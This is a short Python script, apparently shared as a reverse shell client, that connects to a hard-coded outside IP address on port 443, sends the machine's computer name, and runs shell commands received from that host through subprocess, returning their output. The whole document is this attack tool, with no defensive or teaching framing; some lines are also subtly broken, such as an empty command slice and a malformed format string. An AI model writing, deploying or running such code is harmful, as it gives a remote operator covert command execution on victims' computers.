client revershell

# Python Client Reverse Shell

import socket, os, subprocess

def connect():
    os.system('cls')
    global host
    global port
    global s
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 443
    host = '95.146.15.133'

    try:
        print('[*] Trying to connect to %s:5s' %str((host,port)))
        s.connect((host,port))
        print('[*] Connection Established')
        s.send(os.environ['COMPUTERNAME'])
    except socket.error as msg:
        print('[!] Error: ' + str(msg))

def receive():
    receive = s.recv(1024)
    if receive == 'quit':
        s.close()
    elif receive[0:5] == 'shell':
        proc2 = subprocess.Popen(receive[6:1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc2.stdout.read() + proc2.stderr.read()
        args = stdout_value
    else:
        args = ('[!] No valid input was given')
        send(args)

def send(args):
    send = s.send(args)
    receive()

connect()
receive()
s.close()